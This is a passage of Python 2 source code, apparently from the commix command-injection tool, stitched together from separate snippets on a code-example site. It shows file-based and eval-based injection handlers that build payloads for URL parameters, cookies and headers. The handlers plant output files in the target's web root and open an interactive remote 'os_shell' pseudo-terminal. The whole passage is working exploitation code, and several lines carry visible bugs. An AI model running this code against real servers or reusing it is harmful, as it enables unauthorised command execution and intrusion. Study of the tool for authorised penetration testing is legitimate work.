                                cmd = menu.options.os_cmd
                                check_how_long, output = tb_enumeration.single_os_cmd_exec(
                                    separator, maxlen, TAG, cmd, prefix,
                                    suffix, whitespace, timesec,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename, url_time_response)
                                # Export injection result
                                tb_injector.export_injection_results(
                                    cmd, separator, output, check_how_long)
                                print ""
                                logs.print_logs_notification(filename, url)
                                raise SystemExit()

                            if not new_line:
                                print ""

                            # Pseudo-Terminal shell
                            go_back = False
                            go_back_again = False
                            while True:
                                if go_back == True:
                                    break
                                if not menu.options.batch:
                                    question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                                    sys.stdout.write(
                                        settings.print_question_msg(
                                            question_msg))
                                    gotshell = sys.stdin.readline().replace(
                                        "\n", "").lower()
                                else:
                                    gotshell = ""
                                if len(gotshell) == 0:
                                    gotshell = "y"
                                if gotshell in settings.CHOICE_YES:
                                    if not menu.options.batch:
                                        print ""
                                    print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                                    if readline_error:
                                        checks.no_readline_module()
                                    while True:
                                        if false_positive_warning:
                                            warn_msg = "Due to unexpected time delays, it is highly "
                                            warn_msg += "recommended to enable the 'reverse_tcp' option.\n"
                                            sys.stdout.write(
                                                "\r" +
                                                settings.print_warning_msg(
                                                    warn_msg))
                                            false_positive_warning = False
                                        try:
                                            # Tab compliter
                                            if not readline_error:
                                                readline.set_completer(
                                                    menu.tab_completer)
                                                # MacOSX tab compliter
                                                if getattr(
                                                        readline, '__doc__', ''
                                                ) is not None and 'libedit' in getattr(
                                                        readline, '__doc__',
                                                        ''):
                                                    readline.parse_and_bind(
                                                        "bind ^I rl_complete")
                                                # Unix tab compliter
                                                else:
                                                    readline.parse_and_bind(
                                                        "tab: complete")
                                            cmd = raw_input("""commix(""" +
                                                            Style.BRIGHT +
                                                            Fore.RED +
                                                            """os_shell""" +
                                                            Style.RESET_ALL +
                                                            """) > """)
                                            cmd = checks.escaped_cmd(cmd)
                                            if cmd.lower(
                                            ) in settings.SHELL_OPTIONS:
                                                go_back, go_back_again = shell_options.check_option(
                                                    separator,
                                                    TAG,
                                                    cmd,
                                                    prefix,
                                                    suffix,
                                                    whitespace,
                                                    http_request_method,
                                                    url,
                                                    vuln_parameter,
                                                    alter_shell,
                                                    filename,
                                                    technique,
                                                    go_back,
                                                    no_result,
                                                    timesec,
                                                    go_back_again,
                                                    payload,
                                                    OUTPUT_TEXTFILE="")
                                                if go_back and go_back_again == False:
                                                    break
                                                if go_back and go_back_again:
                                                    return True
                                            else:
                                                if menu.options.ignore_session or \
                                                   session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                                                    # The main command injection exploitation.
                                                    check_how_long, output = tb_injector.injection(
                                                        separator, maxlen, TAG,
                                                        cmd, prefix, suffix,
                                                        whitespace, timesec,
                                                        http_request_method,
                                                        url, vuln_parameter,
                                                        alter_shell, filename,
                                                        url_time_response)
                                                    # Export injection result
                                                    tb_injector.export_injection_results(
                                                        cmd, separator, output,
                                                        check_how_long)
                                                    if not menu.options.ignore_session:
                                                        session_handler.store_cmd(
                                                            url, cmd, output,
                                                            vuln_parameter)
                                                else:
                                                    output = session_handler.export_stored_cmd(
                                                        url, cmd,
                                                        vuln_parameter)
                                                    print "\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
                                                # Update logs with executed cmds and execution results.
                                                logs.executed_command(
                                                    filename, cmd, output)
                                                print ""

                                        except KeyboardInterrupt:
                                            raise

                                        except SystemExit:
                                            raise

                                        except EOFError:
                                            err_msg = "Exiting, due to EOFError."
                                            print settings.print_error_msg(
                                                err_msg)
                                            raise

                                elif gotshell in settings.CHOICE_NO:
                                    if checks.next_attack_vector(
                                            technique, go_back) == True:
                                        break
                                    else:
                                        if no_result == True:
                                            return False
                                        else:
                                            return True

                                elif gotshell in settings.CHOICE_QUIT:
                                    raise SystemExit()

                                else:
                                    err_msg = "'" + gotshell + "' is not a valid answer."
                                    print settings.print_error_msg(err_msg)
                                    pass
                                break

    if no_result == True:
        if settings.VERBOSITY_LEVEL == 0:
            print ""
        return False

    else:
        sys.stdout.write("\r")
        sys.stdout.flush()
示例#3
0
def fb_injection_handler(url, delay, filename, http_request_method, url_time_response):

  counter = 1
  vp_flag = True
  exit_loops = False
  no_result = True
  is_encoded = False
  stop_injection = False
  call_tmp_based = False
  next_attack_vector = False
  export_injection_info = False
  injection_type = "semi-blind command injection"
  technique = "file-based injection technique"

  # Set temp path 
  if settings.TARGET_OS == "win":
    if "microsoft-iis" in settings.SERVER_BANNER.lower():
      settings.TMP_PATH = "C:\\Windows\TEMP\\"
    else:
      settings.TMP_PATH = "%temp%\\"
  else:
    settings.TMP_PATH = "/tmp/"

  if menu.options.tmp_path:
    tmp_path = menu.options.tmp_path
  else:
    tmp_path = settings.TMP_PATH

  if settings.DEFAULT_SRV_ROOT_DIR != settings.SRV_ROOT_DIR:
    settings.SRV_ROOT_DIR = settings.DEFAULT_SRV_ROOT_DIR

  if menu.options.file_dest and '/tmp/' in menu.options.file_dest:
    call_tmp_based = True
  else:
    if menu.options.srv_root_dir:
      settings.SRV_ROOT_DIR = menu.options.srv_root_dir
    else:

      # Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www.
      if "apache" in settings.SERVER_BANNER.lower():
        if "debian" or "ubuntu" in settings.SERVER_BANNER.lower():
          try:
            check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower())
            if check_version[0] > "2.3" and not settings.TARGET_OS == "win":
              # Add "/html" to servers root directory
              settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
            else:
              settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR 
          except IndexError:
            pass
        # Add "/html" to servers root directory
        elif "fedora" or "centos" in settings.SERVER_BANNER.lower():
          settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
        else:
          pass

      # On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html"
      elif "nginx" in settings.SERVER_BANNER.lower():
        try:
          check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower())
          if check_version[0] >= "1.2.4":
            # Add "/html" to servers root directory
            settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
          else:
            # Add "/www" to servers root directory
            settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/www"
        except IndexError:
          pass
      elif "microsoft-iis" in settings.SERVER_BANNER.lower():
        pass
      else:
        # Provide custom server's root directory.
        custom_srv_root_dir()

      path = urlparse.urlparse(url).path
      path_parts = path.split('/')
      count = 0
      for part in path_parts:        
        count = count + 1
      count = count - 1
      last_param = path_parts[count]
      EXTRA_DIR = path.replace(last_param, "")
      settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + EXTRA_DIR
      if settings.TARGET_OS == "win":
        settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR.replace("/","\\")

    if not settings.LOAD_SESSION or settings.RETEST == True: 
      info_msg = "Trying to create a file in '" + settings.SRV_ROOT_DIR + "'... "
      print settings.print_info_msg(info_msg)

  i = 0
  TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) 
  # Calculate all possible combinations
  total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
  # Check if defined alter shell
  alter_shell = menu.options.alter_shell
  for whitespace in settings.WHITESPACE:
    for prefix in settings.PREFIXES:
      for suffix in settings.SUFFIXES:
        for separator in settings.SEPARATORS:

          # If a previous session is available.
          if settings.LOAD_SESSION and session_handler.notification(url, technique):
            url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
            checks.check_for_stored_tamper(payload)
            OUTPUT_TEXTFILE = TAG + ".txt"
            if technique == "tempfile-based injection technique":
              #settings.LOAD_SESSION = True
              tfb_handler.exploitation(url, delay, filename, tmp_path, http_request_method, url_time_response)

          if settings.RETEST == True:
            settings.RETEST = False
            from src.core.injections.results_based.techniques.classic import cb_handler
            cb_handler.exploitation(url, delay, filename, http_request_method)
   
          if not settings.LOAD_SESSION:
            i = i + 1
            # The output file for file-based injection technique.
            OUTPUT_TEXTFILE = TAG + ".txt"    
            # Check for bad combination of prefix and separator
            combination = prefix + separator
            if combination in settings.JUNK_COMBINATION:
              prefix = ""

            try:
              # File-based decision payload (check if host is vulnerable).
              if alter_shell :
                payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE)
              else:
                payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE)
                      
              # Check if defined "--prefix" option.
              # Fix prefixes / suffixes
              payload = parameters.prefixes(payload, prefix)
              payload = parameters.suffixes(payload, suffix)

              # Whitespace fixation
              payload = re.sub(" ", whitespace, payload)

              if settings.TAMPER_SCRIPTS['base64encode']:
                from src.core.tamper import base64encode
                payload = base64encode.encode(payload)

              # Check if defined "--verbose" option.
              if settings.VERBOSITY_LEVEL >= 1:
                payload_msg = payload.replace("\n", "\\n")
                print settings.print_payload(payload_msg)

              # Cookie Injection
              if settings.COOKIE_INJECTION == True:
                # Check if target host is vulnerable to cookie injection.
                vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                response = fb_injector.cookie_injection_test(url, vuln_parameter, payload)

              # User-Agent Injection
              elif settings.USER_AGENT_INJECTION == True:
                # Check if target host is vulnerable to user-agent injection.
                vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload)          

              # Referer Injection
              elif settings.REFERER_INJECTION == True:
                # Check if target host is vulnerable to referer injection.
                vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                response = fb_injector.referer_injection_test(url, vuln_parameter, payload)

              # Custom HTTP header Injection
              elif settings.CUSTOM_HEADER_INJECTION == True:
                # Check if target host is vulnerable to custom http header injection.
                vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
                response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload)

              else:
                # Check if target host is vulnerable.
                response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url)

              # Find the directory.
              output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, delay)
              time.sleep(delay)
              
              try:
                # Check if defined extra headers.
                request = urllib2.Request(output)
                headers.do_check(request)
                
                # Evaluate test results.
                output = urllib2.urlopen(request)
                html_data = output.read()
                shell = re.findall(r"" + TAG + "", html_data)

                if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL >= 1:
                  percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                  info_msg = "Testing the " + technique + "... [ " + percent + " ]"
                  sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                  sys.stdout.flush()

                if len(shell) == 0 :
                  # delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  # if settings.VERBOSITY_LEVEL >= 1:
                  #   print ""
                  raise urllib2.HTTPError(url, 404, 'Error', {}, None)

              except urllib2.HTTPError, e:
                  if str(e.getcode()) == settings.NOT_FOUND_ERROR:
                    percent = ((i*100)/total)
                    float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))

                    if call_tmp_based == True:
                      exit_loops = True
                      tmp_path = os.path.split(menu.options.file_dest)[0] + "/"
                      tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response)
                      raise
                      
                    # Show an error message, after N failed tries.
                    # Use the "/tmp/" directory for tempfile-based technique.
                    elif i == settings.FAILED_TRIES and no_result == True :
                      warn_msg = "It seems that you don't have permissions to "
                      warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'."  
                      sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
                      print ""
                      while True:
                        question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n/q] > "
                        sys.stdout.write(settings.print_question_msg(question_msg))
                        tmp_upload = sys.stdin.readline().replace("\n","").lower()
                        if tmp_upload in settings.CHOICE_YES:
                          exit_loops = True
                          settings.TEMPFILE_BASED_STATE = True
                          call_tfb = tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response)
                          if call_tfb != False:
                            return True
                          else:
                            if no_result == True:
                              return False
                            else:
                              return True
                        elif tmp_upload in settings.CHOICE_NO:
                          break
                        elif tmp_upload in settings.CHOICE_QUIT:
                          print ""
                          raise
                        else:
                          if tmp_upload == "":
                            tmp_upload = "enter"
                          err_msg = "'" + tmp_upload + "' is not a valid answer."  
                          print settings.print_error_msg(err_msg)
                          pass
                      continue
                    
                    else:
                      if exit_loops == False:
                        if not settings.VERBOSITY_LEVEL >= 1:
                          if str(float_percent) == "100.0":
                            if no_result == True:
                              percent = Fore.RED + "FAILED" + Style.RESET_ALL
                            else:
                              percent = str(float_percent)+ "%"
                          else:
                            percent = str(float_percent)+ "%"

                          info_msg = "Testing the " + technique + "... [ " + percent + " ]"
                          sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                          sys.stdout.flush()
                          continue
                        else:
                          continue
                      else:
                        raise
                    
                  elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR:
                    err_msg = "Authorization required!"
                    print settings.print_critical_msg(err_msg) + "\n"
                    sys.exit(0)
                    
                  elif str(e.getcode()) == settings.FORBIDDEN_ERROR:
                    err_msg = "You don't have permission to access this page."
                    print settings.print_critical_msg(err_msg) + "\n"
                    sys.exit(0)
              
            except KeyboardInterrupt:
              if settings.VERBOSITY_LEVEL >= 1:
                print ""
              # Delete previous shell (text) files (output)
              delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise

            except SystemExit: 
              if 'vuln_parameter' in locals():
                # Delete previous shell (text) files (output)
                delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise

            except urllib2.URLError, e:
              warn_msg = "It seems that you don't have permissions to "
              warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'."
              sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
              print ""
              # Provide custom server's root directory.
              custom_srv_root_dir()
              continue
            
            except:
              raise
          
          # Yaw, got shellz! 
          # Do some magic tricks!
          if shell:
            found = True
            no_result = False

            if not settings.VERBOSITY_LEVEL >= 1 and \
               not menu.options.alter_shell and \
               not next_attack_vector:
              next_attack_vector = True

            if settings.COOKIE_INJECTION == True: 
              header_name = " cookie"
              found_vuln_parameter = vuln_parameter
              the_type = " parameter"

            elif settings.USER_AGENT_INJECTION == True: 
              header_name = " User-Agent"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.REFERER_INJECTION == True: 
              header_name = " Referer"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.CUSTOM_HEADER_INJECTION == True: 
              header_name = " " + settings.CUSTOM_HEADER_NAME
              found_vuln_parameter = ""
              the_type = " HTTP header"

            else:
              header_name = ""
              the_type = " parameter"
              if http_request_method == "GET":
                found_vuln_parameter = parameters.vuln_GET_param(url)
              else :
                found_vuln_parameter = vuln_parameter

            if len(found_vuln_parameter) != 0 :
              found_vuln_parameter = " '" +  found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'" 

            # Print the findings to log file.
            if export_injection_info == False:
              export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
            if vp_flag == True:
              vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
            logs.update_payload(filename, counter, payload) 
            counter = counter + 1

            if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION:
              print ""

            # Print the findings to terminal.
            success_msg = "The"
            if found_vuln_parameter == " ": 
              success_msg += http_request_method + "" 
            success_msg += the_type + header_name
            success_msg += found_vuln_parameter + " seems injectable via "
            success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
            print settings.print_success_msg(success_msg)
            print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
            # Export session
            if not settings.LOAD_SESSION:
              session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable=menu.options.level)
            else:
              whitespace = settings.WHITESPACE[0]
              settings.LOAD_SESSION = False 

            # Check for any enumeration options.
            if settings.ENUMERATION_DONE == True :
              while True:
                question_msg = "Do you want to enumerate again? [Y/n/q] > "
                enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
                if enumerate_again in settings.CHOICE_YES:
                  fb_enumeration.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  print ""
                  break
                elif enumerate_again in settings.CHOICE_NO: 
                  break
                elif file_access_again in settings.CHOICE_QUIT:
                  # Delete previous shell (text) files (output)
                  delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  sys.exit(0)
                else:
                  if enumerate_again == "":
                    enumerate_again = "enter"
                  err_msg = "'" + enumerate_again + "' is not a valid answer."
                  print settings.print_error_msg(err_msg)
                  pass
            else:
              if menu.enumeration_options():
                fb_enumeration.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
           
            if not menu.file_access_options() and not menu.options.os_cmd:
              if not settings.VERBOSITY_LEVEL >= 1:
                print ""

            # Check for any system file access options.
            if settings.FILE_ACCESS_DONE == True :
              if settings.ENUMERATION_DONE != True:
                print ""
              while True:
                question_msg = "Do you want to access files again? [Y/n/q] > "
                sys.stdout.write(settings.print_question_msg(question_msg))
                file_access_again = sys.stdin.readline().replace("\n","").lower()
                if file_access_again in settings.CHOICE_YES:
                  fb_file_access.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  print ""
                  break
                elif file_access_again in settings.CHOICE_NO: 
                  break
                elif file_access_again in settings.CHOICE_QUIT:
                  # Delete previous shell (text) files (output)
                  delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  sys.exit(0)
                else:
                  if file_access_again == "":
                    file_access_again  = "enter"
                  err_msg = "'" + enumerate_again + "' is not a valid answer."
                  print settings.print_error_msg(err_msg)
                  pass
            else:
              if menu.file_access_options():
                if not menu.enumeration_options():
                  print ""
              fb_file_access.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              #print ""
               
            # Check if defined single cmd.
            if menu.options.os_cmd:
              # if not menu.file_access_options():
              #   print ""
              fb_enumeration.single_os_cmd_exec(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              # Delete previous shell (text) files (output)
              delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              sys.exit(0)

            try:
              # Pseudo-Terminal shell
              go_back = False
              go_back_again = False
              while True:
                # Delete previous shell (text) files (output)
                if settings.VERBOSITY_LEVEL >= 1:
                  print ""
                delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                if settings.VERBOSITY_LEVEL >= 1:
                  print ""
                if go_back == True:
                  break
                question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > "
                sys.stdout.write(settings.print_question_msg(question_msg))
                gotshell = sys.stdin.readline().replace("\n","").lower()
                if gotshell in settings.CHOICE_YES:
                  print ""
                  print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                  if readline_error:
                    checks.no_readline_module()
                  while True:
                    # Tab compliter
                    if not readline_error:
                      readline.set_completer(menu.tab_completer)
                      # MacOSX tab compliter
                      if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
                        readline.parse_and_bind("bind ^I rl_complete")
                      # Unix tab compliter
                      else:
                        readline.parse_and_bind("tab: complete")
                    cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                    cmd = checks.escaped_cmd(cmd)
                    # if settings.VERBOSITY_LEVEL >= 1:
                    #   print ""
                    if cmd.lower() in settings.SHELL_OPTIONS:
                      go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, delay, go_back_again)
                      if go_back:
                        break
                    else:
                      response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                      if menu.options.ignore_session or \
                         session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                        # Command execution results.
                        shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
                        shell = "".join(str(p) for p in shell)
                        if not menu.options.ignore_session :
                          session_handler.store_cmd(url, cmd, shell, vuln_parameter)
                      else:
                        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
                      if shell:
                        if shell != "":
                          print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"

                      if not shell or shell == "":
                        if settings.VERBOSITY_LEVEL >= 1:
                          print ""
                        err_msg = "The '" + cmd + "' command, does not return any output."
                        print settings.print_critical_msg(err_msg) + "\n"

                elif gotshell in settings.CHOICE_NO:
                  if checks.next_attack_vector(technique, go_back) == True:
                    break
                  else:
                    if no_result == True:
                      return False 
                    else:
                      return True  

                elif gotshell in settings.CHOICE_QUIT:
                  # Delete previous shell (text) files (output)
                  delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  sys.exit(0)
                else:
                  if gotshell == "":
                    gotshell = "enter"
                  err_msg = "'" + gotshell + "' is not a valid answer."  
                  print settings.print_error_msg(err_msg)
                  pass
              
            except KeyboardInterrupt: 
              if settings.VERBOSITY_LEVEL >= 1:
                print ""
              # Delete previous shell (text) files (output)
              delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise
示例#4
0
def eb_injection_handler(url, delay, filename, http_request_method):

    counter = 1
    vp_flag = True
    no_result = True
    export_injection_info = False
    injection_type = "results-based command injection"
    technique = "eval-based code injection technique"

    for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
        settings.EXECUTION_FUNCTIONS[
            item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
    settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS

    url = eb_injector.warning_detection(url, http_request_method)

    if not settings.LOAD_SESSION:
        info_msg = "Testing the " + technique + "... "
        sys.stdout.write(settings.print_info_msg(info_msg))
        sys.stdout.flush()

    i = 0
    # Calculate all possible combinations
    total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len(
        settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
    for whitespace in settings.WHITESPACE:
        for prefix in settings.EVAL_PREFIXES:
            for suffix in settings.EVAL_SUFFIXES:
                for separator in settings.EVAL_SEPARATORS:

                    # If a previous session is available.
                    if settings.LOAD_SESSION and session_handler.notification(
                            url, technique):
                        url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
                            url, http_request_method)
                        checks.check_for_stored_tamper(payload)

                    if settings.RETEST == True:
                        settings.RETEST = False
                        from src.core.injections.results_based.techniques.classic import cb_handler
                        cb_handler.exploitation(url, delay, filename,
                                                http_request_method)

                    if not settings.LOAD_SESSION:
                        i = i + 1
                        # Check for bad combination of prefix and separator
                        combination = prefix + separator
                        if combination in settings.JUNK_COMBINATION:
                            prefix = ""

                        # Change TAG on every request to prevent false-positive results.
                        TAG = ''.join(
                            random.choice(string.ascii_uppercase)
                            for i in range(6))

                        randv1 = random.randrange(100)
                        randv2 = random.randrange(100)
                        randvcalc = randv1 + randv2

                        # Define alter shell
                        alter_shell = menu.options.alter_shell

                        try:
                            if alter_shell:
                                # Classic -alter shell- decision payload (check if host is vulnerable).
                                payload = eb_payloads.decision_alter_shell(
                                    separator, TAG, randv1, randv2)
                            else:
                                # Classic decision payload (check if host is vulnerable).
                                payload = eb_payloads.decision(
                                    separator, TAG, randv1, randv2)

                            suffix = urllib.quote(suffix)
                            # Fix prefixes / suffixes
                            payload = parameters.prefixes(payload, prefix)
                            payload = parameters.suffixes(payload, suffix)

                            # Fixation for specific payload.
                            if ")%3B" + urllib.quote(")}") in payload:
                                payload = payload.replace(
                                    ")%3B" + urllib.quote(")}"),
                                    ")" + urllib.quote(")}"))
                                #payload = payload + TAG + ""

                            # Whitespace fixation
                            payload = re.sub(" ", whitespace, payload)

                            if settings.TAMPER_SCRIPTS['base64encode']:
                                from src.core.tamper import base64encode
                                payload = base64encode.encode(payload)
                            else:
                                payload = re.sub(" ", "%20", payload)

                            # Check if defined "--verbose" option.
                            if settings.VERBOSITY_LEVEL >= 1:
                                sys.stdout.write(
                                    "\n" + settings.print_payload(payload))

                            # Cookie Injection
                            if settings.COOKIE_INJECTION == True:
                                # Check if target host is vulnerable to cookie injection.
                                vuln_parameter = parameters.specify_cookie_parameter(
                                    menu.options.cookie)
                                response = eb_injector.cookie_injection_test(
                                    url, vuln_parameter, payload)

                            # User-Agent Injection
                            elif settings.USER_AGENT_INJECTION == True:
                                # Check if target host is vulnerable to user-agent injection.
                                vuln_parameter = parameters.specify_user_agent_parameter(
                                    menu.options.agent)
                                response = eb_injector.user_agent_injection_test(
                                    url, vuln_parameter, payload)

                            # Referer Injection
                            elif settings.REFERER_INJECTION == True:
                                # Check if target host is vulnerable to referer injection.
                                vuln_parameter = parameters.specify_referer_parameter(
                                    menu.options.referer)
                                response = eb_injector.referer_injection_test(
                                    url, vuln_parameter, payload)

                            # Custom HTTP header Injection
                            elif settings.CUSTOM_HEADER_INJECTION == True:
                                # Check if target host is vulnerable to custom http header injection.
                                vuln_parameter = parameters.specify_custom_header_parameter(
                                    settings.INJECT_TAG)
                                response = eb_injector.custom_header_injection_test(
                                    url, vuln_parameter, payload)

                            else:
                                found_cookie_injection = False
                                # Check if target host is vulnerable.
                                response, vuln_parameter = eb_injector.injection_test(
                                    payload, http_request_method, url)

                            # Try target page reload (if it is required).
                            if settings.URL_RELOAD:
                                response = requests.url_reload(url, delay)
                            # Evaluate test results.
                            shell = eb_injector.injection_test_results(
                                response, TAG, randvcalc)

                            if not settings.VERBOSITY_LEVEL >= 1:
                                percent = ((i * 100) / total)
                                float_percent = "{0:.1f}".format(
                                    round(((i * 100) / (total * 1.0)), 2))

                                if shell == False:
                                    info_msg = "Testing the " + technique + "... " + "[ " + float_percent + "%" + " ]"
                                    sys.stdout.write(
                                        "\r" +
                                        settings.print_info_msg(info_msg))
                                    sys.stdout.flush()

                                if str(float_percent) == "100.0":
                                    if no_result == True:
                                        percent = Fore.RED + "FAILED" + Style.RESET_ALL
                                    else:
                                        percent = str(float_percent) + "%"
                                elif len(shell) != 0:
                                    percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                                else:
                                    percent = str(float_percent) + "%"

                                info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
                                sys.stdout.write(
                                    "\r" + settings.print_info_msg(info_msg))
                                sys.stdout.flush()

                        except KeyboardInterrupt:
                            raise

                        except SystemExit:
                            raise

                        except:
                            continue

                    # Yaw, got shellz!
                    # Do some magic tricks!
                    if shell:
                        found = True
                        no_result = False

                        if settings.COOKIE_INJECTION == True:
                            header_name = " cookie"
                            found_vuln_parameter = vuln_parameter
                            the_type = " parameter"

                        elif settings.USER_AGENT_INJECTION == True:
                            header_name = " User-Agent"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.REFERER_INJECTION == True:
                            header_name = " Referer"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.CUSTOM_HEADER_INJECTION == True:
                            header_name = " " + settings.CUSTOM_HEADER_NAME
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        else:
                            header_name = ""
                            the_type = " parameter"
                            if http_request_method == "GET":
                                found_vuln_parameter = parameters.vuln_GET_param(
                                    url)
                            else:
                                found_vuln_parameter = vuln_parameter

                        if len(found_vuln_parameter) != 0:
                            found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                        # Print the findings to log file.
                        if export_injection_info == False:
                            export_injection_info = logs.add_type_and_technique(
                                export_injection_info, filename,
                                injection_type, technique)
                        if vp_flag == True:
                            vp_flag = logs.add_parameter(
                                vp_flag, filename, the_type, header_name,
                                http_request_method, vuln_parameter, payload)
                        logs.update_payload(filename, counter, payload)
                        counter = counter + 1

                        if not settings.LOAD_SESSION:
                            print ""

                        # Print the findings to terminal.
                        success_msg = "The"
                        if found_vuln_parameter == " ":
                            success_msg += http_request_method + ""
